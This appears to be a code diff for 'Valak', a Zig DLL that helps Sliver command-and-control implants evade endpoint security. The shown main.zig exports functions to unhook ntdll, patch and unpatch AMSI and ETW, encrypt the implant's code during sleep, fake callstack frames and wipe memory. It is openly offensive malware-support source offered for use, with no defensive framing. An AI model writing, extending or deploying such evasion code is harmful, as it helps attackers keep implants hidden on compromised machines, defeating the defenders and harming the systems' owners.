Valak evasion DLL for Sliver implants. ChaCha20 encrypted sleep, synthetic callstack frames via indirect syscalls, HWBP AMSI/ETW bypass, FreshyCalls, CRT-free.

evasion/main.zig

@@ -1,12 +1,10 @@
-// Valak evasion DLL — drop-in sleep obfuscation + AMSI/ETW bypass for any C2.
-// Built for Sliver but protocol-agnostic. Exports are resolved at runtime by the
-// Go bridge (go-bridge/valak.go) via reflective PE loading or direct DLL load.
-// Reference: DbgMan "EDR Tradecraft" (May 2026), Windows x64 ABI.
+// Valak evasion DLL, drop-in sleep obfuscation and AMSI/ETW bypass.
+// Built for Sliver, protocol-agnostic. Exports resolved at runtime by Go bridge.
+// Follows Windows x64 ABI.
 
-const std = @import("std");
-const win = @import("win32.zig");
 const api = @import("api.zig");
 const syscall = @import("syscall.zig");
+const frames = @import("frames.zig");
 const amsi = @import("amsi.zig");
 const etw = @import("etw.zig");
 const stomp = @import("stomp.zig");
@@ -21,13 +19,25 @@ fn ensure() void {
     g_initialized = true;
     api.ensure();
     _ = syscall.init_syscall();
+    frames.init_frames();
 }
 
-export fn init_evasion() void { ensure(); }
+export fn init_evasion() void {
+    ensure();
+}
 
-export fn unhook_ntdll() void { ensure(); unhook.unhookNtdll(); }
-export fn patch_etw() void { ensure(); etw.patch_etw(); }
-export fn patch_amsi() void { ensure(); amsi.patch_amsi(); }
+export fn unhook_ntdll() void {
+    ensure();
+    unhook.unhookNtdll();
+}
+export fn patch_etw() void {
+    ensure();
+    etw.patch_etw();
+}
+export fn patch_amsi() void {
+    ensure();
+    amsi.patch_amsi();
+}
 
 export fn stomp_evasion(base: ?*anyopaque) void {
     ensure();
@@ -38,20 +48,26 @@ export fn is_relocated() bool {
     return stomp.g_evasion_relocated;
 }
 
-// Tell the DLL where the host process's .text is so it can be encrypted during sleep.
+// Tell the DLL where the host implant's .text is for encrypted sleep.
 export fn init_text_region(base: [*]u8, size: usize) void {
-    sleep.init_go_text_region(base, size);
+    sleep.init_text_region(base, size);
 }
 
-// Called from the asm trampoline (arch/hells_gate.s) which captures entry RSP,
-// zeros the return address for EDR stack walk termination, and restores on return.
+// DllMain calls into here from the asm trampoline. Synthetic callstack frames
+// through kernel32!BaseThreadInitThunk and ntdll!RtlUserThreadStart built before us.
 export fn evasion_sleep_inner(ms: u32) void {
     ensure();
     sleep.evasion_sleep(ms);
 }
 
-export fn unpatch_amsi() void { ensure(); amsi.unpatch_amsi(); }
-export fn unpatch_etw() void { ensure(); etw.unpatch_etw(); }
+export fn unpatch_amsi() void {
+    ensure();
+    amsi.unpatch_amsi();
+}
+export fn unpatch_etw() void {
+    ensure();
+    etw.unpatch_etw();
+}
 
 export fn wipe_memory(base: [*]u8, size: usize) void {
     @memset(base[0..size], 0);